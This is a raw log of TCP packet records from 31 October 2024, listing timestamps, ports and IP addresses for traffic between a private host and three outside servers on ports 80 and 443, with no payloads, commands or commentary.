Oct 31, 2024 11:27:27.318624020 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318635941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318646908 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318679094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318711042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318722963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318736076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318747997 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318759918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318772078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318783998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318789005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318789005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318797112 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318806887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318810940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318831921 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318850040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318866014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318877935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318888903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318902016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.318928957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.318939924 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319129944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319149017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319161892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319170952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319174051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319189072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319197893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319205999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319211006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319224119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319236040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319236040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319247961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319256067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319261074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319276094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319279909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319291115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319303989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319304943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319334030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319641113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319652081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319664001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319677114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319685936 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319689035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319700003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319706917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319719076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319730043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319741011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319742918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319771051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319787025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319856882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319875956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319888115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319900990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319912910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319919109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319925070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319938898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319946051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319952011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319962978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.319972038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319988966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.319991112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320002079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320014954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320015907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320028067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320040941 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320069075 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320110083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320122004 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320132971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320158005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320168972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320168972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320183039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320195913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320208073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320218086 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320220947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320246935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320262909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320635080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320647955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320658922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320671082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320683002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320687056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320696115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320707083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320710897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.320738077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.320754051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.690787077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.690831900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:27.695734024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:27.695818901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:28.471072912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:28.471169949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:28.608026028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:28.613166094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:28.885725021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:28.885751963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:28.885762930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:28.885797024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:28.885829926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:28.890710115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:28.895505905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:29.258019924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:29.258147001 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:29.271069050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:29.276169062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:30.039722919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:30.039997101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:30.067884922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:30.072727919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:30.345582008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:30.345782042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:30.347081900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:30.351922989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:31.421057940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:31.421227932 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:31.427366972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:31.427449942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:36.287600994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:36.287741899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:39.699898005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:53.760787010 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:53.760833979 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:53.760906935 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:53.761424065 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:53.761440039 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.619201899 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.619391918 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.624263048 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.624316931 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.624623060 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.633832932 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.675371885 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.916253090 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.916275024 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.916290045 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.916368961 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.916439056 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.916518927 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.917980909 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.918025970 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.918052912 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.918070078 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.918095112 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.918100119 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.918148994 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.929547071 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.929591894 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:54.929616928 CET	49763	443	192.168.2.4	20.12.23.50
Oct 31, 2024 11:27:54.929631948 CET	443	49763	20.12.23.50	192.168.2.4
Oct 31, 2024 11:27:56.577975988 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:56.578042984 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:56.578157902 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:56.578640938 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:56.578660965 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.358613968 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.358701944 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.361893892 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.361922026 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.362190008 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.372284889 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.415344954 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.605449915 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.605479956 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.605632067 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.605693102 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.605736017 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.605752945 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.605789900 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.638463974 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.638513088 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.638633966 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.638660908 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.638717890 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.730285883 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.730345011 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.730443001 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.730478048 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.730494022 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.730530024 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.760577917 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.760596991 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.760766983 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.760787010 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.760855913 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.762577057 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.762593031 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.762659073 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.762671947 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.762717962 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.764436960 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.764455080 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.764507055 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.764514923 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.764549971 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.764569044 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.854214907 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.854278088 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.854331970 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.854363918 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.854384899 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.854414940 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.882318974 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.882364035 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.882421017 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.882432938 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.882471085 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.882486105 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.883961916 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.884007931 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.884036064 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.884042978 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.884099960 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.884124994 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.885006905 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.885056973 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.885081053 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.885088921 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.885121107 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.885138035 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.886806965 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.886852026 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.886887074 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.886894941 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.886908054 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.886940956 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.888459921 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.888506889 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.888540983 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.888549089 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.888569117 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.888596058 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.889534950 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.889579058 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.889619112 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.889631987 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:57.889664888 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:57.889682055 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.125694036 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.125819921 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.125857115 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.125890970 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.125904083 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.125935078 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.125946999 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.125946999 CET	49764	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.125957012 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.125965118 CET	443	49764	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.165127993 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.165153027 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.165178061 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.165184021 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.165302992 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.165539980 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.165540934 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.165556908 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.165640116 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.165649891 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.166913986 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.166934967 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.166991949 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.167094946 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.167100906 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.168090105 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.168129921 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.168181896 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.168689966 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.168725967 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.168772936 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.168813944 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.168826103 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:58.168900013 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:58.168910980 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.065509081 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.066149950 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.066171885 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.066607952 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.066613913 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.076208115 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.076224089 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.076682091 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.076694012 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.076838970 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.076862097 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.077131987 CET	49768	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.077136993 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.077325106 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.077332020 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.103595972 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.104288101 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.104324102 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.104760885 CET	49766	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.104767084 CET	443	49766	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.108031988 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.108455896 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.108499050 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.108818054 CET	49767	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.108824015 CET	443	49767	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.192698956 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.192728996 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.192810059 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.192832947 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.192864895 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.193125010 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.193152905 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.193165064 CET	49769	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.193171024 CET	443	49769	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.196688890 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.196739912 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.196818113 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.197021008 CET	49770	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.197033882 CET	443	49770	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.205502987 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.205526114 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.205580950 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.205616951 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.205641031 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.205827951 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.205845118 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.205857992 CET	49765	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:27:59.205863953 CET	443	49765	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.206140995 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.206396103 CET	443	49768	13.107.246.45	192.168.2.4
Oct 31, 2024 11:27:59.206449032 CET	49768	443	192.168.2.4	13.107.246.45
